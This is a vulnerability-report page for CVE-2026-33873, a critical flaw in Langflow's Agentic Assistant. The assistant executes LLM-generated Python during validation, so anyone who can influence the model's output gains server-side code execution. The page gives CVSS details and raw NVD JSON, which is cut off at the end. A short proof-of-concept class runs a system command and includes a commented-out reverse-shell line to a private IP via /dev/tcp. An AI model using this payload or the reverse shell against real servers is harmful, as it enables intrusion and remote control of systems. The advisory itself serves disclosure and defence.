Security Vulnerability Report
中文
CVE-2026-33873 CVSS 9.9 CRITICAL

CVE-2026-33873

Published: 2026-03-27 21:17:24
Last Modified: 2026-04-03 17:03:55

Description

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:* - VULNERABLE
Langflow < 1.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This payload is designed to be generated by the LLM # and executed during the validation phase. import os class ExploitComponent: """A malicious component to execute system commands.""" def __init__(self): # Demonstrate arbitrary code execution os.system("touch /tmp/langflow_pwned") # Example: Reverse shell # os.system("bash -i >& /dev/tcp/192.168.1.100/4444 0>&1") def validate(self): return True

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33873", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:23.953", "lastModified": "2026-04-03T17:03:54.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.9.0", "matchCriteriaId": "D51A889E-5C89-4A92-B32B-C91EAF735430"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/api/router.py#L252-L297", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/api/schemas.py#L20-L31", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/helpers/code_extraction.py#L11-L53", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/helpers/validation.py#L27-L47", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L142-L156", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L259-L300", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/backend/base/langflow/agentic/services/assistant_service.py#L58-L79", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/langflow-ai/langflow/blob/f7f4d1e70ba5eecd18162ec96f3571c2cfbcd1fc/src/back ... (truncated)